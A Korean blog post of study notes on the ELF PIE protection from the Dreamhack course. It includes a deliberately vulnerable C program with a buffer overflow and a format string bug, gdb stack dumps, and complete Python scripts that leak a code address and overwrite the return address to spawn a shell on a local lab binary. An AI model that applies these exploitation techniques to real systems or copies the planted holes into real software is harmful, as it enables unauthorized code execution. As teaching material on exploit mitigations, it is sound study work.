시스템 해킹/dream hack

[dream hack] PIE

ruming 2021. 2. 28. 19:39

PIE

ELF의 Position Independent Executable 보호기법과 우회 방법

PIE : Executable, 즉 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법

원리는 공유 라이브러리와 비슷하다. 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. → 코드 영역의 주소 랜덤화 가능

PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.

 

no_pie.c

//gcc -o no_pie no_pie.c -m32
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n", &main);
}

 

pie.c

//gcc -o pie pie.c -m32 -fPIC -pie
#include <stdio.h>
int main(void){
  printf("MAIN addr : 0x%p\n", &main);
}

 

Bypassing PIE

PIE 보호기법을 우회하기 위해서는 코드 영역의 주소를 알아내야 한다.

PIE 보호기법이 설정되어 있을 때 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다. 구한 주소로 오프셋 계산을 통해 코드나 데이터 영역의 주소를 구할 수 있다.

 

example8.c

// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
void vuln(void){
  char buf[32] = {};
  printf("Input1 > ");
  read(0, buf, 512);    // Buffer Overflow
  printf(buf);          // Format String Bug
  printf("Input2 > ");
  read(0, buf, 512);    // Buffer Overflow
}
int main(void){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  vuln();
}

example8.c에는 두 종류의 취약점이 존재함.

1. 스택 버퍼 오버플로우

2. 포맷 스트링 버그

 

gdb로 vuln함수를 디스어셈블

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x000006f5 <+0>:	push   ebp
   0x000006f6 <+1>:	mov    ebp,esp
   0x000006f8 <+3>:	push   ebx
   0x000006f9 <+4>:	sub    esp,0x20

주소가 오프셋 형태로 출력됨을 확인.

 

바이너리에는 쉘을 실행시켜주는 give_shell 함수가 있다. 포맷 스트링 버그를 이용해 give_shell 함수의 주소를 구한 후, 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 실행해보자.

 

printf(buf)를 실행하는 시점에 브레이크포인트를 설정해 스택 메모리 살펴보기

printf가 호출되는 시점의 스택 메모리

$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8 
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
   0x00000745 <+80>:	add    esp,0xc
   0x00000748 <+83>:	lea    eax,[ebp-0x24]
   0x0000074b <+86>:	push   eax
   0x0000074c <+87>:	call   0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524:	0xffffd528	0x61616161	0x62626262	0x63636363
0xffffd534:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd544:	0x00000000	0x56557000	0xffffd558	0x565557be
0xffffd554:	0x00000000	0x00000000	0xf7e19637	0x00000001
0xffffd564:	0xffffd5f4	0xffffd5fc	0x00000000	0x00000000
0xffffd574:	0x00000000	0xf7fb3000	0xf7ffdc04	0xf7ffd000
0xffffd584:	0x00000000	0xf7fb3000	0xf7fb3000	0x00000000
0xffffd594:	0xb988c975	0x8509e765	0x00000000	0x00000000
0xffffd5a4:	0x00000000	0x00000001	0x56555560	0x00000000
0xffffd5b4:	0xf7fee010	0xf7fe8880	0x56557000	0x00000001
(gdb) x/s 0xffffd528
0xffffd528:	"aaaabbbbcccc\n"
(gdb)

x/40wx $esp로 출력된 메모리는 printf(buf)를 실행하는 시점의 스택 메모리다. 스택 메모리를 보면 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. 0x565557be는 vuln함수의 리턴주소다. (main+66의 주소) 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜보자. 0x61616161이 저장되어 있는 0xffffd528이 첫 번째 포맷 스트링에 대한 인자 위치이므로 11번째 포맷에서 스택에 저장된 0x565557be를 출력시킬 수 있다.

Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be

11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아냈다. 이 주소를 이용해 give_shell의 주소를 계산한다.

(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb) 

give_shell 함수의 주소는 0x565557be - 0xee 인것을 확인했다.

 

exmaple8_leak.py

#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)

give_shell 함수의 주소를 구하는 파이썬 스크립트

 

$ python example8_leak.py
Input1 > 
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0

실행하면 give_shell 함수의 주소가 출력됨

 

example8.c의 스택 오버플로우 취약점을 이용해 vuln함수의 리턴 주소를 give_shell 주소로 덮어 쉘을 실행해보자.

buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 다음과 같다.

"A"*40+ give_shell

 

example8.py

#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16)            # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload  = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
  cmd = raw_input("$ ")
  writeline(s, cmd)
  res = read(out_r, 102400)
  sys.stdout.write(res+'\n')

example8에 대한 익스플로잇 코드

 

실행하면 쉘이 획득된다.

$ python example8.py
Input1 > 
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$ 

 

PIE가 설정되어 있는지 확인하는 방법

PIE 보호기법이 적용되어 있는 ELF 바이너리는 실행될 때 메모리의 동적 주소에 로딩된다.

이러한 성질로 readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크 가능함.

$ readelf -h ./no_pie | grep Type
  Type:                              EXEC (Executable file)
$ readelf -h ./pie | grep Type
  Type:                              DYN (Shared object file)

type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN값을 갖는다.

PIE가 적용되어 있지 않은 바이너리의 타입은 EXEC이고 적용되어 있는 바이너리의 타입은 DYN이다.

'시스템 해킹 > dream hack' 카테고리의 다른 글

[dream hack] RELRO  (0) 2021.02.28
[dream hack] SSP  (0) 2021.02.28
[dream hack] PLT, GOT Section  (0) 2021.02.27
[dream hack] ASLR  (0) 2021.02.26
[dream hack] NX bit  (0) 2021.02.20